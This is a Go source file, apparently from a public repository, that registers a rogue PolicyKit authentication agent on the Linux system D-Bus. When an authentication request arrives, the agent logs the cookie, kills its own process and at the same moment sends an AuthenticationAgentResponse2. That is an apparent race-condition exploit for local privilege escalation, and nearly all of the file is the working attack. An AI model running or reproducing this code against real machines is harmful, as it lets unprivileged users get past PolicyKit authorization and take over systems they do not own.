-
Notifications
You must be signed in to change notification settings - Fork 12
/
agent.go
96 lines (77 loc) · 2.63 KB
/
agent.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
package main
import (
"fmt"
"os"
"strconv"
"syscall"
"time"
"github.com/godbus/dbus/v5"
)
var PolicyKitName = "org.freedesktop.PolicyKit1"
var PolicyKitInterface = "org.freedesktop.PolicyKit1.Authority"
var PolicyKitObjectPath = "/org/freedesktop/PolicyKit1/Authority"
var PolicyKitAgentInterface = "org.freedesktop.PolicyKit1.AuthenticationAgent"
var PolicyKitAgentObjectPath = "/org/freedesktop/PolicyKit1/AuthenticationAgent"
type Subject struct {
Type string `dbus:"s"`
Data map[string]dbus.Variant `dbus:"a{sv}"`
}
type Identity struct {
Type string `dbus:"s"`
Data map[string]dbus.Variant `dbus:"a{sv}"`
}
type Agent struct {
Conn *dbus.Conn
Authority *dbus.BusObject
Subject *Subject
}
func Logging(format string, a ...interface{}) {
format = "pid-" + strconv.Itoa(os.Getpid()) + " - " + format + "\n"
fmt.Printf(format, a ...)
}
func (agent Agent) RegisterAgent() {
Logging("[*] Registering PolicyKit authentication agent ...")
call := (*agent.Authority).Call(PolicyKitInterface+".RegisterAuthenticationAgent", 0,
agent.Subject, "en_US.UTF-8", PolicyKitAgentObjectPath)
if call.Err != nil {
Logging("[-] Error while registering authentication agent: %s", call.Err)
os.Exit(2)
}
}
func Kill(pid int) {
time.Sleep(time.Millisecond * 10)
syscall.Kill(pid, syscall.SIGKILL)
}
func (agent Agent) BeginAuthentication(action string, _ string, _ string, _ map[string]string,
cookie string, identities []Identity) *dbus.Error {
Logging("[+] Received authentication request for action: '%s'", action)
Logging("[*] Cookie: %s", cookie)
go Kill(os.Getpid())
go (*agent.Authority).Call(PolicyKitInterface+".AuthenticationAgentResponse2", 0,
uint32(os.Getuid()), cookie, identities[0])
time.Sleep(time.Millisecond * 1)
return nil
}
func (agent Agent) StartAgent() {
conn, err := dbus.ConnectSystemBus()
if err != nil {
Logging("[-] Error for connecting system bus: %s", err)
os.Exit(1)
}
// setup
agent.Conn = conn
agent.Subject = new(Subject)
agent.Subject.Type = "unix-process"
agent.Subject.Data = make(map[string]dbus.Variant)
agent.Subject.Data["pid"] = dbus.MakeVariant(uint32(os.Getpid()))
agent.Subject.Data["start-time"] = dbus.MakeVariant(uint64(0))
// set authority
obj := agent.Conn.Object(PolicyKitName, dbus.ObjectPath(PolicyKitObjectPath))
agent.Authority = &obj
// export methods
mapping := make(map[string]string)
mapping["BeginAuthentication"] = "BeginAuthentication"
agent.Conn.ExportWithMap(agent, mapping, dbus.ObjectPath(PolicyKitAgentObjectPath), PolicyKitAgentInterface)
agent.RegisterAgent()
Logging("[*] Authentication agent main loop running ...")
}